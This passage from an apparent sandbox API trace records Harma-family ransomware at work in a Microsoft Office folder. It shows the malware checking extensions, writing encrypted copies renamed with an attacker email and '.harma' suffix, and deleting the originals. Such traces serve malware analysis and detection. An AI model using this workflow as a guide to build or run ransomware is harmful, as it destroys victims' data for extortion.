Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.396] lstrlenW (lpString=".dbf") returned 4 [0158.396] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.396] lstrlenW (lpString=".1cd") returned 4 [0158.396] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.396] lstrlenW (lpString=".jpg") returned 4 [0158.396] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.396] lstrlenW (lpString=".doc") returned 4 [0158.396] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.396] lstrlenW (lpString=".docx") returned 5 [0158.396] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.396] lstrlenW (lpString=".pdf") returned 4 [0158.397] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.397] lstrlenW (lpString=".xls") returned 4 [0158.397] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.397] lstrlenW (lpString=".xlsx") returned 5 [0158.397] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.397] lstrlenW (lpString=".ppt") returned 4 [0158.397] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.397] lstrlenW (lpString=".zip") returned 4 [0158.397] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.397] lstrlenW (lpString=".rar") returned 4 [0158.397] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.397] lstrlenW (lpString=".bz2") returned 4 [0158.397] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.397] lstrlenW (lpString=".7z") returned 3 [0158.397] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.397] lstrlenW (lpString=".dbf") returned 4 [0158.397] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.397] lstrlenW (lpString=".1cd") returned 4 [0158.397] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.397] lstrlenW (lpString=".jpg") returned 4 [0158.397] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.397] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.397] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17 [0158.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.398] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=113) returned 1 [0158.398] CloseHandle (hObject=0x370) returned 1 [0158.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 0x20 [0158.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.399] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.399] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.400] GetLastError () returned 0x0 [0158.400] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x71, lpOverlapped=0x0) returned 1 [0158.401] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.402] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.402] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0158.402] SetEndOfFile (hFile=0x208) returned 1 [0158.402] CloseHandle (hObject=0x208) returned 1 [0158.402] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.402] SetEndOfFile (hFile=0x370) returned 1 [0158.405] CloseHandle (hObject=0x370) returned 1 [0158.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 1 [0158.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.406] lstrlenW (lpString=".doc") returned 4 [0158.406] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.406] lstrlenW (lpString=".docx") returned 5 [0158.406] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.406] lstrlenW (lpString=".pdf") returned 4 [0158.406] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.406] lstrlenW (lpString=".xls") returned 4 [0158.406] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.406] lstrlenW (lpString=".xlsx") returned 5 [0158.406] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.406] lstrlenW (lpString=".ppt") returned 4 [0158.406] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.406] lstrlenW (lpString=".zip") returned 4 [0158.406] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.406] lstrlenW (lpString=".rar") returned 4 [0158.406] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.406] lstrlenW (lpString=".bz2") returned 4 [0158.406] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.406] lstrlenW (lpString=".7z") returned 3 [0158.406] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.406] lstrlenW (lpString=".dbf") returned 4 [0158.406] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.406] lstrlenW (lpString=".1cd") returned 4 [0158.406] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.407] lstrlenW (lpString=".jpg") returned 4 [0158.407] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.407] lstrlenW (lpString=".doc") returned 4 [0158.407] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.407] lstrlenW (lpString=".docx") returned 5 [0158.407] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.407] lstrlenW (lpString=".pdf") returned 4 [0158.407] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.407] lstrlenW (lpString=".xls") returned 4 [0158.407] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.407] lstrlenW (lpString=".xlsx") returned 5 [0158.407] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.407] lstrlenW (lpString=".ppt") returned 4 [0158.407] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.407] lstrlenW (lpString=".zip") returned 4 [0158.407] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.407] lstrlenW (lpString=".rar") returned 4 [0158.407] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.407] lstrlenW (lpString=".bz2") returned 4 [0158.407] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.407] lstrlenW (lpString=".7z") returned 3 [0158.407] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.407] lstrlenW (lpString=".dbf") returned 4 [0158.407] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0158.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.407] lstrlenW (lpString=".1cd") returned 4 [0158.407] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0158.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0158.408] lstrlenW (lpString=".jpg") returned 4 [0158.408] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0158.408] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0158.408] lstrlenW (lpString="ONINTL.DLL") returned 10 [0158.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.408] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=3415952) returned 1 [0158.408] CloseHandle (hObject=0x370) returned 1 [0158.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll")) returned 0x20 [0158.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0158.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.409] lstrlenW (lpString=".doc") returned 4 [0158.409] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.409] lstrlenW (lpString=".docx") returned 5 [0158.409] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0158.409] lstrlenW (lpString=".pdf") returned 4 [0158.409] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.409] lstrlenW (lpString=".xls") returned 4 [0158.409] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.409] lstrlenW (lpString=".xlsx") returned 5 [0158.409] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0158.409] lstrlenW (lpString=".ppt") returned 4 [0158.409] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.409] lstrlenW (lpString=".zip") returned 4 [0158.409] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.410] lstrlenW (lpString=".rar") returned 4 [0158.410] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.410] lstrlenW (lpString=".bz2") returned 4 [0158.410] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.410] lstrlenW (lpString=".7z") returned 3 [0158.410] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.410] lstrlenW (lpString=".dbf") returned 4 [0158.410] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.410] lstrlenW (lpString=".1cd") returned 4 [0158.410] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.410] lstrlenW (lpString=".jpg") returned 4 [0158.410] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.410] lstrlenW (lpString=".doc") returned 4 [0158.410] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.410] lstrlenW (lpString=".docx") returned 5 [0158.410] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0158.410] lstrlenW (lpString=".pdf") returned 4 [0158.410] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.410] lstrlenW (lpString=".xls") returned 4 [0158.410] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.410] lstrlenW (lpString=".xlsx") returned 5 [0158.410] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0158.410] lstrlenW (lpString=".ppt") returned 4 [0158.410] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.410] lstrlenW (lpString=".zip") returned 4 [0158.411] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.411] lstrlenW (lpString=".rar") returned 4 [0158.411] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.411] lstrlenW (lpString=".bz2") returned 4 [0158.411] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.411] lstrlenW (lpString=".7z") returned 3 [0158.411] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.411] lstrlenW (lpString=".dbf") returned 4 [0158.411] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.411] lstrlenW (lpString=".1cd") returned 4 [0158.411] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0158.411] lstrlenW (lpString=".jpg") returned 4 [0158.411] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.411] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0158.411] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18 [0158.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.412] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=15232) returned 1 [0158.412] CloseHandle (hObject=0x370) returned 1 [0158.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 0x20 [0158.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.413] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.413] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.413] GetLastError () returned 0x0 [0158.413] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x3b80, lpOverlapped=0x0) returned 1 [0158.502] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x3b90, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x3b90, lpOverlapped=0x0) returned 1 [0158.503] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.503] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0158.503] SetEndOfFile (hFile=0x208) returned 1 [0158.503] CloseHandle (hObject=0x208) returned 1 [0158.503] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.503] SetEndOfFile (hFile=0x370) returned 1 [0158.506] CloseHandle (hObject=0x370) returned 1 [0158.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 1 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.651] lstrlenW (lpString=".doc") returned 4 [0158.651] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.651] lstrlenW (lpString=".docx") returned 5 [0158.651] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.651] lstrlenW (lpString=".pdf") returned 4 [0158.652] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString=".xls") returned 4 [0158.652] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString=".xlsx") returned 5 [0158.652] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.652] lstrlenW (lpString=".ppt") returned 4 [0158.652] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.652] lstrlenW (lpString=".zip") returned 4 [0158.652] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString=".rar") returned 4 [0158.652] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString=".bz2") returned 4 [0158.652] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString=".7z") returned 3 [0158.652] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.652] lstrlenW (lpString=".dbf") returned 4 [0158.652] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.652] lstrlenW (lpString=".1cd") returned 4 [0158.652] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.652] lstrlenW (lpString=".jpg") returned 4 [0158.652] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.652] lstrlenW (lpString=".doc") returned 4 [0158.652] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.652] lstrlenW (lpString=".docx") returned 5 [0158.652] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.652] lstrlenW (lpString=".pdf") returned 4 [0158.653] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString=".xls") returned 4 [0158.653] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString=".xlsx") returned 5 [0158.653] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.653] lstrlenW (lpString=".ppt") returned 4 [0158.653] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.653] lstrlenW (lpString=".zip") returned 4 [0158.653] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString=".rar") returned 4 [0158.653] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString=".bz2") returned 4 [0158.653] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString=".7z") returned 3 [0158.653] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.653] lstrlenW (lpString=".dbf") returned 4 [0158.653] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.653] lstrlenW (lpString=".1cd") returned 4 [0158.653] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL") returned 66 [0158.653] lstrlenW (lpString=".jpg") returned 4 [0158.653] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.653] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0158.653] lstrlenW (lpString="ORGPOS.VRD") returned 10 [0158.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.754] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1098) returned 1 [0158.754] CloseHandle (hObject=0x208) returned 1 